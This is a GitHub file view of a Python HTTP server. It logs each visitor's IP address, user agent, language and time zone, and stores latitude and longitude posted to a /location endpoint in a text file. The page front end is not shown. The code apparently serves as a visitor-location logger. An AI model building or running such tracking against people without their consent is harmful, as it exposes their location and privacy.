-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
122 lines (105 loc) · 4.07 KB
/
server.py
File metadata and controls
122 lines (105 loc) · 4.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import http.server
import socketserver
import socket
from datetime import datetime
import requests
import json
def print_ascii_art():
ascii_art = """
_____
.-' `-.
.' `.
/ _.._ _.._ \\
| / \\ / \\ |
| \\ / \\ / |
\\ `--' `--' /
`. .'
`-._ _.-'
`"`
Creado por DST
GitHub: https://github.com/DISTinTheHouse
License: MIT
.------..------..------..------..------..------.
|S.--. ||C.--. ||R.--. ||I.--. ||P.--. ||T.--. |
| :/\\: || :/\\: || :(): || (\\/): || :/\\: || :/\\: |
| :\\/ : || :\\/ : || ()() || :\\/ : || (__) || (__) |
| '--'S|| '--'C|| '--'R|| '--'I|| '--'P|| '--'T|
`------'`------'`------'`------'`------'`------'
"""
print(ascii_art)
print_ascii_art()
PORT = 8080
# Detecta auto IP local
def get_local_ip():
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
return local_ip
# IP Pública
def get_public_ip():
try:
response = requests.get('https://api.ipify.org?format=json')
ip_data = response.json()
return ip_data['ip']
except requests.RequestException as e:
print(f"Error al obtener IP pública: {e}")
return None
# Establece la carpeta en la que estás sirviendo los archivos (en este caso, la misma que el script)
DIRECTORY = "."
# Crea un manejador que sirva los archivos HTML, CSS, JS en la carpeta actual
class CustomHandler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, directory=DIRECTORY, **kwargs)
def log_message(self, format, *args):
client_ip = self.client_address[0]
public_ip = get_public_ip()
user_agent = self.headers.get('User-Agent', 'Desconocido')
accept_language = self.headers.get('Accept-Language', 'Desconocido')
timezone = self.headers.get('Time-Zone', 'Desconocido')
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
log_entry = (
f"Timestamp: {timestamp}\n"
f"IP: {client_ip}\n"
f"IP Pública: {public_ip}\n"
f"usuario-agente: {user_agent}\n"
f"Accept-Language: {accept_language}\n"
f"Time-Zone: {timezone}\n"
"----------------------------------------\n"
)
# Registra detalles en un archivo .txt
with open("access_log.txt", "a") as log_file:
log_file.write(log_entry)
# Y en consola
print(log_entry)
def do_POST(self):
if self.path == '/location':
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
data = json.loads(post_data.decode('utf-8'))
latitude = data.get('latitude')
longitude = data.get('longitude')
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
log_entry = (
f"Timestamp: {timestamp}\n"
f"Latitud: {latitude}\n"
f"Longitud: {longitude}\n"
"----------------------------------------\n"
)
# Registra coordenadas en el archivo .txt
with open("access_log.txt", "a") as log_file:
log_file.write(log_entry)
# Responde al cliente
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
response_message = 'Ubicación recibida y registrada'
self.wfile.write(response_message.encode('utf-8'))
else:
super().do_POST()
# Obtén la IP local
local_ip = get_local_ip()
# Configura el servidor HTTP
with socketserver.TCPServer((local_ip, PORT), CustomHandler) as httpd:
print(f"Sirviendo en http://{local_ip}:{PORT}")
print("Presiona Ctrl+C para detener el servidor.")
# Ejecuta el servidor hasta que lo detengas manualmente
httpd.serve_forever()